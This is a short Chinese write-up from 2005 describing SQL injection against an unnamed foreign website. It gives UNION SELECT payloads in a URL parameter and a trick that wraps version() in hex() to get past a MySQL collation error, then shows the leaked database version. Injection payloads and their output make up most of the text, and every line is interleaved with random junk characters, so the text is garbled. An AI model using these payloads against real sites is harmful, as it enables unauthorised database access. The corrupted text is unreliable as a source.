本文作者:SuperHei
* E5 L2 A6 P5 N0 c- T9 X文章性质:原创: _3 r9 a) ?) ]& h K$ f1 W. _4 Z
发布日期:2005-10-181 o2 ?: K- h6 q+ v3 j
测试个国外的站时:
2 M, e' O! m i A* q$ gurl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*2 R( y! c+ K3 j# c3 W7 ^0 ]& v
返回错误:( r0 W# ~! g* K: X/ f. H
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
/ g0 T& J2 o6 yMySQL Error No. 126
3 c" ]6 v3 Y0 Q/ w看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
3 G. i- u8 G0 W5 d% W' Z解决办法:转为其他编码如hex。
! Q. p1 \ D" eurl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
) N j7 S1 @$ O0 e# |, S成功得到hex(version())的值为:
7 W2 ~% G& f' u! c3 H# [9 I342E312E332D62657461
$ r2 ~/ a8 J* l: E% k; W回Mysql查询下得到:
6 R; O+ K9 T: p9 u3 Omysql> select 0x342E312E332D62657461;9 g6 [# W/ F a4 x4 [
+------------------------+
9 T/ ]* }3 I* @& c v| 0x342E312E332D62657461 |
& l+ V/ v* Y" Z5 a% }* F, V4 u. D) f+------------------------+
& x4 \4 v1 d" w3 `1 J" [| 4.1.3-beta |2 N Y3 g `- ~ S
+------------------------+
& A$ {0 {' \4 T; H6 q1 W1 row in set (0.00 sec)- w; C- B+ O( I9 k6 M4 R
$ e* D" V! i0 o2 o3 M5 ] |